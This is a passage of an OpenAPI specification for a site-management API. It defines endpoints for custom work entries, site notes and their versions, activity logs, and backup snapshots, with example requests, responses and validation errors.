"tags": [ "Custom Works" ], "summary": "Create custom work entries", "operationId": "createSiteCustomWorks", "description": "Creates one or more custom work entries for the selected site.\n\nUse this when completed maintenance, optimizations, fixes, audits, or\nother reportable work should be saved against the site.\n\n`custom_works` must be a non-empty array. Each item must be an object\nwith string `title` and `performed_on` values. `description` is optional,\nbut must be a string when sent; omit it or send an empty string when\nthere is no description.\n\n`performed_on` must use `YYYY-MM-DD` and cannot be in the future.\n`title` can be up to 150 characters, and `description` can be up to 500\ncharacters.\n\nA successful response returns the created custom work entries.\n", "requestBody": { "required": true, "content": { "application/json": { "schema": { "$ref": "#/components/schemas/CreateSiteCustomWorksRequest" }, "example": { "custom_works": [ { "title": "CDN setup", "description": "Configured CDN and cache headers", "performed_on": "2026-02-21" } ] } } } }, "responses": { "201": { "description": "Custom work entries created successfully.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/CreateSiteCustomWorksResponse" }, "example": { "custom_works": [ { "id": "kM9pQx2vRz4nYw7sBf3cHj8a", "title": "CDN setup", "description": "Configured CDN and cache headers", "performed_on": "2026-02-21", "created_at": "2026-02-21T11:30:00Z", "updated_at": "2026-02-21T11:30:00Z" } ] } } } }, "400": { "description": "The `custom_works` request field is missing or contains invalid values.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/ValidationError" }, "examples": { "custom_works_blank": { "summary": "Missing or empty custom_works", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "custom_works", "message": "Can't be blank" } ] } } }, "custom_works_invalid_type": { "summary": "custom_works is not an array", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "custom_works", "message": "Must be an array." } ] } } }, "custom_works_item_invalid_type": { "summary": "custom_works item is not an object", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "custom_works.0", "message": "Must be an object." } ] } } }, "title_invalid_type": { "summary": "title is not a string", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "custom_works.0.title", "message": "Must be a string." } ] } } }, "description_invalid_type": { "summary": "description is not a string", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "custom_works.0.description", "message": "Must be a string." } ] } } }, "performed_on_invalid_type": { "summary": "performed_on is not a string", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "custom_works.0.performed_on", "message": "Must be a string." } ] } } }, "malformed_date": { "summary": "performed_on is not YYYY-MM-DD", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_format", "param": "custom_works.0.performed_on", "message": "Performed on must be in YYYY-MM-DD format." } ] } } } } } } }, "401": { "$ref": "#/components/responses/UnauthorizedResponse" }, "403": { "$ref": "#/components/responses/ForbiddenInactiveAccountResponse" }, "404": { "$ref": "#/components/responses/NotFoundResponse" }, "422": { "description": "The custom work entries could not be created because submitted values failed validation.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/BusinessError" }, "examples": { "title_blank": { "summary": "Title is blank for an item", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "blank", "param": "custom_works.0.title", "message": "Can't be blank" } ] } } }, "performed_on_blank": { "summary": "performed_on is blank for an item", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "blank", "param": "custom_works.0.performed_on", "message": "Can't be blank" } ] } } }, "future_performed_on": { "summary": "performed_on is in the future", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "invalid_value", "param": "custom_works.0.performed_on", "message": "Performed on cannot be in the future." } ] } } }, "title_too_long": { "summary": "Title exceeds 150 characters", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "too_long", "param": "custom_works.0.title", "message": "Title must be at most 150 characters." } ] } } }, "description_too_long": { "summary": "Description exceeds 500 characters", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "too_long", "param": "custom_works.0.description", "message": "Description must be at most 500 characters." } ] } } } } } } }, "429": { "$ref": "#/components/responses/RateLimitedResponse" } } } }, "/sites/{site_id}/custom-works/{custom_work_id}": { "parameters": [ { "name": "site_id", "in": "path", "required": true, "schema": { "$ref": "#/components/schemas/SiteId" }, "description": "Site ID returned in site lists and details." }, { "name": "custom_work_id", "in": "path", "required": true, "schema": { "$ref": "#/components/schemas/CustomWorkId" }, "description": "Custom work ID returned in Custom Works responses." } ], "get": { "tags": [ "Custom Works" ], "summary": "Show custom work", "operationId": "showSiteCustomWork", "description": "Returns one custom work entry for the selected site.\n\nUse this when you need the saved details for one work item.\n\nA successful response returns the custom work entry.\n", "responses": { "200": { "description": "Custom work entry returned successfully.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/ShowSiteCustomWorkResponse" }, "example": { "custom_work": { "id": "hT5bWx8nKq3mJr6vGs9fYd2a", "title": "SEO optimization", "description": "Fixed sitemap and schema issues", "performed_on": "2026-02-20", "created_at": "2026-02-20T10:00:00Z", "updated_at": "2026-02-20T10:00:00Z" } } } } }, "401": { "$ref": "#/components/responses/UnauthorizedResponse" }, "403": { "$ref": "#/components/responses/ForbiddenInactiveAccountResponse" }, "404": { "$ref": "#/components/responses/NotFoundResponse" }, "429": { "$ref": "#/components/responses/RateLimitedResponse" } } }, "delete": { "tags": [ "Custom Works" ], "summary": "Delete custom work", "operationId": "deleteSiteCustomWork", "description": "Removes one custom work entry from the selected site.\n\nUse this when a saved work item was added by mistake or should no\nlonger be kept in the site's work history.\n\nA successful response returns no response body.\n", "responses": { "204": { "$ref": "#/components/responses/DeleteSiteCustomWorkNoContentResponse" }, "401": { "$ref": "#/components/responses/UnauthorizedResponse" }, "403": { "$ref": "#/components/responses/ForbiddenInactiveAccountResponse" }, "404": { "$ref": "#/components/responses/NotFoundResponse" }, "429": { "$ref": "#/components/responses/RateLimitedResponse" } } } }, "/sites/{site_id}/custom-works/{custom_work_id}/update": { "parameters": [ { "name": "site_id", "in": "path", "required": true, "schema": { "$ref": "#/components/schemas/SiteId" }, "description": "Site ID returned in site lists and details." }, { "name": "custom_work_id", "in": "path", "required": true, "schema": { "$ref": "#/components/schemas/CustomWorkId" }, "description": "Custom work ID returned in Custom Works responses." } ], "post": { "tags": [ "Custom Works" ], "summary": "Update custom work", "operationId": "updateSiteCustomWork", "description": "Updates one custom work entry for the selected site.\n\nUse this when the title, description, or performed date of a saved work\nitem needs to change.\n\nSend the fields to change inside the `custom_work` object. Omitted\nfields remain unchanged, and at least one supported field is required.\n\n`title`, `description`, and `performed_on` must be strings when sent.\nBlank `title` and `performed_on` values are rejected. Send an empty\nstring for `description` to clear it.\n\n`performed_on` must use `YYYY-MM-DD` and cannot be in the future.\n`title` can be up to 150 characters, and `description` can be up to 500\ncharacters.\n\nA successful response returns the updated custom work entry.\n", "requestBody": { "required": true, "content": { "application/json": { "schema": { "$ref": "#/components/schemas/UpdateSiteCustomWorkRequest" }, "example": { "custom_work": { "title": "SEO optimization", "description": "Fixed sitemap and schema issues", "performed_on": "2026-02-20" } } } } }, "responses": { "200": { "description": "Custom work entry updated successfully.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/UpdateSiteCustomWorkResponse" }, "example": { "custom_work": { "id": "hT5bWx8nKq3mJr6vGs9fYd2a", "title": "SEO optimization", "description": "Fixed sitemap and schema issues", "performed_on": "2026-02-20", "created_at": "2026-02-20T10:00:00Z", "updated_at": "2026-02-22T10:00:00Z" } } } } }, "400": { "description": "The `custom_work` request body is missing, empty, or contains invalid fields.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/ValidationError" }, "examples": { "missing_wrapper": { "summary": "Missing custom_work root key", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "custom_work", "message": "Can't be blank" } ] } } }, "no_supported_fields": { "summary": "No supported update fields", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "custom_work", "message": "Can't be blank" } ] } } }, "custom_work_invalid_type": { "summary": "custom_work is not an object", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "custom_work", "message": "Must be an object." } ] } } }, "title_blank": { "summary": "Title is blank", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "title", "message": "Can't be blank" } ] } } }, "title_invalid_type": { "summary": "title is not a string", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "title", "message": "Must be a string." } ] } } }, "description_invalid_type": { "summary": "description is not a string", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "description", "message": "Must be a string." } ] } } }, "performed_on_invalid_type": { "summary": "performed_on is not a string", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "performed_on", "message": "Must be a string." } ] } } }, "performed_on_blank": { "summary": "performed_on is blank", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "performed_on", "message": "Can't be blank" } ] } } }, "malformed_date": { "summary": "performed_on is not YYYY-MM-DD", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_format", "param": "performed_on", "message": "Performed on must be in YYYY-MM-DD format." } ] } } } } } } }, "401": { "$ref": "#/components/responses/UnauthorizedResponse" }, "403": { "$ref": "#/components/responses/ForbiddenInactiveAccountResponse" }, "404": { "$ref": "#/components/responses/NotFoundResponse" }, "422": { "description": "The custom work entry could not be updated because submitted values failed validation.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/BusinessError" }, "examples": { "future_performed_on": { "summary": "performed_on is in the future", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "invalid_value", "param": "performed_on", "message": "Performed on cannot be in the future." } ] } } }, "title_too_long": { "summary": "Title exceeds 150 characters", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "too_long", "param": "title", "message": "Title must be at most 150 characters." } ] } } }, "description_too_long": { "summary": "Description exceeds 500 characters", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "too_long", "param": "description", "message": "Description must be at most 500 characters." } ] } } } } } } }, "429": { "$ref": "#/components/responses/RateLimitedResponse" } } } }, "/sites/{site_id}/notes": { "parameters": [ { "name": "site_id", "in": "path", "required": true, "schema": { "$ref": "#/components/schemas/SiteId" }, "description": "Site ID returned in site lists and details." } ], "get": { "tags": [ "Notes" ], "summary": "List site notes", "operationId": "listSiteNotes", "description": "Returns current notes attached to the selected site.\n\nUse this list to review site context, handoff details, reminders, or\nwork history, and to find note IDs to view, update, remove, or list\nversions.\n\nPrevious content versions are not included. When `versions.available` is\n`true`, note versions can be used to review earlier content.\n\nA successful response returns a paginated list of notes.\n\n**Filtering**\n- Format: `filters[field:operator]=value`\n- Allowed fields: `user_email`, `content`, `created_at`, `updated_at`\n- Supported operators:\n - `eq`: `user_email`\n - `contains`: `user_email`, `content`\n - `gte`: `created_at`, `updated_at`\n - `lte`: `created_at`, `updated_at`\n- `user_email` filters by the associated user's email address\n- Use ISO 8601 timestamps for `created_at` and `updated_at` filters\n- `timezone` applies to `created_at` filters\n- Example: `filters[user_email:eq]=admin@example.com`\n\n**Sorting**\n- Format: `sort=field,direction`\n- Sortable fields: `updated_at`, `created_at`, `content`\n- Supported directions: `asc` (ascending), `desc` (descending)\n- Default: `updated_at,desc`\n- Example: `sort=updated_at,desc`\n", "parameters": [ { "$ref": "#/components/parameters/page" }, { "$ref": "#/components/parameters/per_page" }, { "$ref": "#/components/parameters/timezone" }, { "name": "sort", "in": "query", "required": false, "schema": { "$ref": "#/components/schemas/ListSiteNotesSort" }, "description": "Sort order for returned notes." }, { "name": "filters", "in": "query", "required": false, "style": "deepObject", "explode": true, "schema": { "$ref": "#/components/schemas/ListSiteNotesFilters" }, "description": "Filters applied to returned notes.", "example": { "content:contains": "update", "user_email:eq": "admin@example.com" } } ], "responses": { "200": { "description": "Notes returned successfully.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/ListSiteNotesResponse" }, "example": { "notes": [ { "id": "e7a3c9f2d1b4856a3f2e9c7d1b4a6f8e2d5c7a9f3b1e4d6a", "content": "Plugin update completed", "user": { "name": "Admin", "email": "admin-notes@example.com" }, "versions": { "available": true }, "created_at": "2026-02-27T10:00:00Z", "updated_at": "2026-02-28T08:45:00Z" }, { "id": "b9f2d4a6c8e1f3b5d7a9c1e3f5b7d9a2c4e6f8b1d3a5c7e9", "content": "Cache cleared after plugin update", "user": { "name": "Owner", "email": "owner-notes@example.com" }, "versions": { "available": false }, "created_at": "2026-02-26T14:20:00Z", "updated_at": "2026-02-26T14:20:00Z" } ], "meta": { "pagination": { "page": 1, "perPage": 100, "totalPages": 1, "totalItems": 2 } } } } } }, "400": { "$ref": "#/components/responses/SiteNotesInvalidIndexQueryResponse" }, "401": { "$ref": "#/components/responses/UnauthorizedResponse" }, "403": { "$ref": "#/components/responses/ForbiddenInactiveAccountResponse" }, "404": { "$ref": "#/components/responses/NotFoundResponse" }, "429": { "$ref": "#/components/responses/RateLimitedResponse" } } }, "post": { "tags": [ "Notes" ], "summary": "Create site note", "operationId": "createSiteNote", "description": "Creates one note for the selected site.\n\nUse this to capture a handoff, store site-specific context, or document\ncompleted operational work.\n\nSend `note.content` with the note text. `content` is required, must be\nnon-blank, and can be up to 2500 characters. The note is attributed to\nthe current user.\n\nA successful response returns the created note.\n", "requestBody": { "required": true, "content": { "application/json": { "schema": { "$ref": "#/components/schemas/CreateSiteNoteRequest" }, "example": { "note": { "content": "Security scan enabled" } } } } }, "responses": { "201": { "description": "Note created successfully.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/CreateSiteNoteResponse" }, "example": { "note": { "id": "e7a3c9f2d1b4856a3f2e9c7d1b4a6f8e2d5c7a9f3b1e4d6a", "content": "Security scan enabled", "user": { "name": "Owner", "email": "owner-notes@example.com" }, "versions": { "available": false }, "created_at": "2026-02-28T09:00:00Z", "updated_at": "2026-02-28T09:00:00Z" } } } } }, "400": { "description": "The `note` request body is missing or contains invalid fields.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/ValidationError" }, "examples": { "missing_wrapper": { "summary": "Missing note root key", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "note", "message": "Can't be blank" } ] } } }, "blank_content": { "summary": "Content is blank", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "content", "message": "Can't be blank" } ] } } }, "invalid_wrapper": { "summary": "Note root key is not an object", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "note", "message": "Must be an object" } ] } } } } } } }, "401": { "$ref": "#/components/responses/UnauthorizedResponse" }, "403": { "$ref": "#/components/responses/ForbiddenInactiveAccountResponse" }, "404": { "$ref": "#/components/responses/NotFoundResponse" }, "422": { "description": "The note could not be created because content failed validation.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/BusinessError" }, "examples": { "too_long": { "summary": "Content exceeds max length", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "too_long", "param": "content", "message": "Content is too long (maximum is 2500 characters)." } ] } } } } } } }, "429": { "$ref": "#/components/responses/RateLimitedResponse" } } } }, "/sites/{site_id}/notes/{note_id}": { "parameters": [ { "name": "site_id", "in": "path", "required": true, "schema": { "$ref": "#/components/schemas/SiteId" }, "description": "Site ID returned in site lists and details." }, { "name": "note_id", "in": "path", "required": true, "schema": { "$ref": "#/components/schemas/NoteId" }, "description": "Note ID returned in Notes responses." } ], "get": { "tags": [ "Notes" ], "summary": "Show site note", "operationId": "showSiteNote", "description": "Returns one current note attached to the selected site.\n\nUse this when you need the saved content and version availability for one\nnote.\n\nA successful response returns the note.\n", "responses": { "200": { "description": "Note returned successfully.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/ShowSiteNoteResponse" }, "example": { "note": { "id": "e7a3c9f2d1b4856a3f2e9c7d1b4a6f8e2d5c7a9f3b1e4d6a", "content": "Plugin update completed", "user": { "name": "Admin", "email": "admin-notes@example.com" }, "versions": { "available": true }, "created_at": "2026-02-27T10:00:00Z", "updated_at": "2026-02-28T08:45:00Z" } } } } }, "401": { "$ref": "#/components/responses/UnauthorizedResponse" }, "403": { "$ref": "#/components/responses/ForbiddenInactiveAccountResponse" }, "404": { "$ref": "#/components/responses/NotFoundResponse" }, "429": { "$ref": "#/components/responses/RateLimitedResponse" } } }, "delete": { "tags": [ "Notes" ], "summary": "Delete site note", "operationId": "deleteSiteNote", "description": "Removes one note from the selected site.\n\nUse this when a note should no longer be kept with the site.\n\nPrevious content versions for the note are removed with it.\n\nA successful response returns no response body.\n", "responses": { "204": { "$ref": "#/components/responses/DeleteSiteNoteNoContentResponse" }, "401": { "$ref": "#/components/responses/UnauthorizedResponse" }, "403": { "$ref": "#/components/responses/ForbiddenInactiveAccountResponse" }, "404": { "$ref": "#/components/responses/NotFoundResponse" }, "422": { "description": "The note could not be removed.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/BusinessError" }, "examples": { "operation_failed": { "summary": "Note could not be deleted", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "operation_failed", "message": "Note could not be deleted." } ] } } } } } } }, "429": { "$ref": "#/components/responses/RateLimitedResponse" } } } }, "/sites/{site_id}/notes/{note_id}/update": { "parameters": [ { "name": "site_id", "in": "path", "required": true, "schema": { "$ref": "#/components/schemas/SiteId" }, "description": "Site ID returned in site lists and details." }, { "name": "note_id", "in": "path", "required": true, "schema": { "$ref": "#/components/schemas/NoteId" }, "description": "Note ID returned in Notes responses." } ], "post": { "tags": [ "Notes" ], "summary": "Update site note", "operationId": "updateSiteNote", "description": "Updates the content of one note for the selected site.\n\nUse this when a note needs to reflect the latest operational state.\n\nSend `note.content` with the replacement note text. `content` is\nrequired, must be non-blank, and can be up to 2500 characters.\n\nUpdating content keeps the same note ID and makes previous content\navailable in note versions.\n\nA successful response returns the updated note.\n", "requestBody": { "required": true, "content": { "application/json": { "schema": { "$ref": "#/components/schemas/UpdateSiteNoteRequest" }, "example": { "note": { "content": "Plugin update completed and cache cleared" } } } } }, "responses": { "200": { "description": "Note updated successfully.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/UpdateSiteNoteResponse" }, "example": { "note": { "id": "e7a3c9f2d1b4856a3f2e9c7d1b4a6f8e2d5c7a9f3b1e4d6a", "content": "Plugin update completed and cache cleared", "user": { "name": "Admin", "email": "admin-notes@example.com" }, "versions": { "available": true }, "created_at": "2026-02-27T10:00:00Z", "updated_at": "2026-02-28T08:45:00Z" } } } } }, "400": { "description": "The `note` request body is missing, empty, or contains invalid fields.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/ValidationError" }, "examples": { "missing_wrapper": { "summary": "Missing note root key", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "note", "message": "Can't be blank" } ] } } }, "invalid_wrapper": { "summary": "Note root key is not an object", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "note", "message": "Must be an object" } ] } } }, "blank_content": { "summary": "Content is blank or omitted", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "content", "message": "Can't be blank" } ] } } } } } } }, "401": { "$ref": "#/components/responses/UnauthorizedResponse" }, "403": { "$ref": "#/components/responses/ForbiddenInactiveAccountResponse" }, "404": { "$ref": "#/components/responses/NotFoundResponse" }, "422": { "description": "The note could not be updated because content failed validation.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/BusinessError" }, "examples": { "too_long": { "summary": "Content exceeds max length", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "too_long", "param": "content", "message": "Content is too long (maximum is 2500 characters)." } ] } } } } } } }, "429": { "$ref": "#/components/responses/RateLimitedResponse" } } } }, "/sites/{site_id}/notes/{note_id}/versions": { "parameters": [ { "name": "site_id", "in": "path", "required": true, "schema": { "$ref": "#/components/schemas/SiteId" }, "description": "Site ID returned in site lists and details." }, { "name": "note_id", "in": "path", "required": true, "schema": { "$ref": "#/components/schemas/NoteId" }, "description": "Note ID returned in Notes responses." } ], "get": { "tags": [ "Notes" ], "summary": "List note versions", "operationId": "listSiteNoteVersions", "description": "Returns previous content versions for one note, ordered from most recent\nto oldest.\n\nUse this when `versions.available` is `true` and you need to review\nearlier note text.\n\nThe current note content is not included in `versions`; view the note to\nget the current content.\n\nA successful response returns previous note versions.\n", "responses": { "200": { "description": "Note versions returned successfully.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/ListSiteNoteVersionsResponse" }, "example": { "versions": [ { "id": "c4e6f8b1d3a5c7e9f2b4d6a8c1e3f5b7d9a2c4e6f8b1d3a5", "content": "Initial plugin update note", "user": { "name": "Admin", "email": "admin-notes@example.com" }, "created_at": "2026-02-27T10:00:00Z", "updated_at": "2026-02-27T10:00:00Z" }, { "id": "b8d4f2a6c9e1b3d5f7a9c2e4b6d8f1a3c5e7b9d2f4a6c8e1", "content": "Plugin update scheduled for maintenance window", "user": { "name": "Priya", "email": "priya-notes@example.com" }, "created_at": "2026-02-26T16:30:00Z", "updated_at": "2026-02-26T16:30:00Z" } ] } } } }, "401": { "$ref": "#/components/responses/UnauthorizedResponse" }, "403": { "$ref": "#/components/responses/ForbiddenInactiveAccountResponse" }, "404": { "$ref": "#/components/responses/NotFoundResponse" }, "429": { "$ref": "#/components/responses/RateLimitedResponse" } } } }, "/sites/{site_id}/activity-logs": { "parameters": [ { "name": "site_id", "in": "path", "required": true, "schema": { "$ref": "#/components/schemas/SiteId" }, "description": "Site ID returned in site lists and details." } ], "get": { "tags": [ "Activity Logs" ], "summary": "List activity logs", "operationId": "listSiteActivityLogs", "description": "Returns activity log entries for the selected site.\n\nUse this list to review what changed on the site, when it happened, and\nany user, IP address, object, event, or detail information captured for\neach activity.\n\nThe selected site must have activity logging enabled.\n\nA successful response returns a paginated list of activity logs.\n\n**Filtering**\n- Format: `filters[field:operator]=value`\n- Allowed fields: `timestamp`, `username`, `ip_address`, `search`, `object_type`, `event_type`\n- Supported operators:\n - `gte`: `timestamp`\n - `lte`: `timestamp`\n - `eq`: `username`, `ip_address`, `object_type`, `event_type`\n - `contains`: `username`, `ip_address`, `search`\n- Use ISO 8601 timestamps for `timestamp` filters\n- Supported `object_type` values for matching: `post`, `comment`, `category`, `tag`, `menu`, `user_profile`, `plugin`, `theme`, `multisite`, `user`, `wp_core`, `site`, `files`, `woocommerce_product`, `woocommerce_order`, `woocommerce_product_category`, `woocommerce_product_tag`, `woocommerce_product_attribute`, `woocommerce_tax_rate`, `woocommerce_product_download_access`, `woocommerce_shipping_zone_method`, `unknown`\n- Supported `event_type` values for matching: `added`, `created`, `edited`, `updated`, `modified`, `deleted`, `published`, `drafted`, `pending`, `scheduled`, `trashed`, `stuck`, `unstuck`, `approved`, `unapproved`, `spammed`, `activated`, `deactivated`, `changed`, `archived`, `unarchived`, `login`, `logout`, `password_reset`, `hacked`, `granted`, `revoked`, `status_changed`, `unknown`\n- Default time range: from site creation time through the current time\n- Example: `filters[username:eq]=admin`\n\n**Sorting**\n- Format: `sort=field,direction`\n- Sortable fields: `timestamp`, `object_type`, `event_type`, `username`, `ip_address`\n- Supported directions: `asc` (ascending), `desc` (descending)\n- Default: `timestamp,desc`\n- Example: `sort=timestamp,desc`\n", "parameters": [ { "$ref": "#/components/parameters/page" }, { "name": "perPage", "in": "query", "required": false, "schema": { "type": "integer", "minimum": 1, "maximum": 500, "default": 25 }, "description": "Number of activity logs per page.", "example": 25 }, { "name": "sort", "in": "query", "required": false, "schema": { "$ref": "#/components/schemas/ListSiteActivityLogsSort" }, "description": "Sort order for returned activity logs.", "example": "timestamp,desc" }, { "name": "filters", "in": "query", "required": false, "style": "deepObject", "explode": true, "schema": { "$ref": "#/components/schemas/SiteActivityLogFilters" }, "description": "Filters applied to returned activity logs.", "example": { "timestamp:gte": "2026-03-01T00:00:00Z", "timestamp:lte": "2026-03-31T23:59:59Z", "username:eq": "admin", "object_type:eq": "plugin", "event_type:eq": "activated" } } ], "responses": { "200": { "description": "Activity logs were returned.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/ListSiteActivityLogsResponse" }, "example": { "activity_logs": [ { "id": "e4c7a9f2d8b1c5e6", "username": "admin", "ip_address": "192.0.2.10", "country_code": "US", "object_type": "plugin", "event_type": "activated", "event_details": { "plugin": { "name": "Example Plugin", "version": "1.0.0" } }, "timestamp": "2026-03-01T04:12:54Z" }, { "id": "6f3a8d2c1e9b7f4a", "username": "editor", "ip_address": "198.51.100.8", "country_code": "IN", "object_type": "post", "event_type": "updated", "event_details": {}, "timestamp": "2026-03-01T03:45:00Z" } ], "meta": { "pagination": { "page": 1, "perPage": 25, "totalPages": 1, "totalItems": 2 } } } } } }, "400": { "$ref": "#/components/responses/SiteActivityLogsInvalidIndexQueryResponse" }, "401": { "$ref": "#/components/responses/UnauthorizedResponse" }, "403": { "$ref": "#/components/responses/ForbiddenInactiveAccountResponse" }, "404": { "$ref": "#/components/responses/NotFoundResponse" }, "422": { "$ref": "#/components/responses/SiteActivityLogsNotEnabledResponse" }, "429": { "$ref": "#/components/responses/RateLimitedResponse" } } } }, "/sites/{site_id}/activity-logs/enable": { "parameters": [ { "name": "site_id", "in": "path", "required": true, "schema": { "$ref": "#/components/schemas/SiteId" }, "description": "Site ID returned in site lists and details." } ], "post": { "tags": [ "Activity Logs" ], "summary": "Enable activity logs", "operationId": "enableSiteActivityLogs", "description": "Enables activity logging for the selected site.\n\nUse this when the site should start collecting new activity events.\n\nAnother site configuration change cannot already be in progress.\n\nA successful response returns `activity_logs.enabled: true`.\n", "responses": { "200": { "description": "Activity logs were enabled.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/EnableSiteActivityLogsResponse" }, "example": { "activity_logs": { "enabled": true } } } } }, "401": { "$ref": "#/components/responses/UnauthorizedResponse" }, "403": { "$ref": "#/components/responses/ForbiddenInactiveAccountResponse" }, "404": { "$ref": "#/components/responses/NotFoundResponse" }, "409": { "$ref": "#/components/responses/SiteActivityLogsConfigurationConflictResponse" }, "422": { "$ref": "#/components/responses/EnableSiteActivityLogsUnprocessableResponse" }, "429": { "$ref": "#/components/responses/RateLimitedResponse" } } } }, "/sites/{site_id}/activity-logs/disable": { "parameters": [ { "name": "site_id", "in": "path", "required": true, "schema": { "$ref": "#/components/schemas/SiteId" }, "description": "Site ID returned in site lists and details." } ], "post": { "tags": [ "Activity Logs" ], "summary": "Disable activity logs", "operationId": "disableSiteActivityLogs", "description": "Disables activity logging for the selected site.\n\nUse this when the site should stop collecting new activity events.\n\nAnother site configuration change cannot already be in progress.\n\nA successful response returns `activity_logs.enabled: false`.\n", "responses": { "200": { "description": "Activity logs were disabled.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/DisableSiteActivityLogsResponse" }, "example": { "activity_logs": { "enabled": false } } } } }, "401": { "$ref": "#/components/responses/UnauthorizedResponse" }, "403": { "$ref": "#/components/responses/ForbiddenInactiveAccountResponse" }, "404": { "$ref": "#/components/responses/NotFoundResponse" }, "409": { "$ref": "#/components/responses/SiteActivityLogsConfigurationConflictResponse" }, "422": { "$ref": "#/components/responses/DisableSiteActivityLogsUnprocessableResponse" }, "429": { "$ref": "#/components/responses/RateLimitedResponse" } } } }, "/sites/{site_id}/snapshots": { "parameters": [ { "name": "site_id", "in": "path", "required": true, "schema": { "$ref": "#/components/schemas/SiteId" }, "description": "Site ID returned in site lists and details." } ], "get": { "tags": [ "Snapshots" ], "summary": "List site snapshots", "operationId": "listSiteSnapshots", "description": "Returns backup snapshots for the selected site. Each snapshot shows when\nit was created, its backup status, any note or failure message, file and\ndatabase totals, security scan result, detected issues, and whether\nperformance metrics are available.\n\nUse this list to review backup history and choose a snapshot for\ndownload, upload, migration, restore, or detailed inspection.\n\nThe selected site must support Backups and have backups enabled.\n\nBy default, results show the last seven days of snapshots. If only one\n`created_at` filter is sent, the other date limit still applies.\n\nA successful response returns a paginated list of snapshots.\n\n**Filtering**\n- Format: `filters[field:operator]=value`\n- Allowed fields: `created_at`, `status`, `scanner_status`, `note`\n- Supported operators:\n - `gte`: `created_at`\n - `lte`: `created_at`\n - `eq`: `status`, `scanner_status`\n - `present`: `note`\n- Use ISO 8601 timestamps for `created_at` filters\n- Supported status values for matching: `succeeded`, `failed`, `in_progress`, `waiting`, `cancelled`\n- Supported `scanner_status` values for matching: `clean`, `hacked`\n- Boolean filters accept `true` or `false`\n- Example: `filters[status:eq]=succeeded`\n\n**Sorting**\n- Format: `sort=field,direction`\n- Sortable fields: `created_at`, `files_synced`, `tables_synced`\n- Supported directions: `asc` (ascending), `desc` (descending)\n- Default: `created_at,desc`\n- Example: `sort=created_at,desc`\n", "parameters": [ { "$ref": "#/components/parameters/page" }, { "$ref": "#/components/parameters/per_page" }, { "name": "sort", "in": "query", "required": false, "schema": { "$ref": 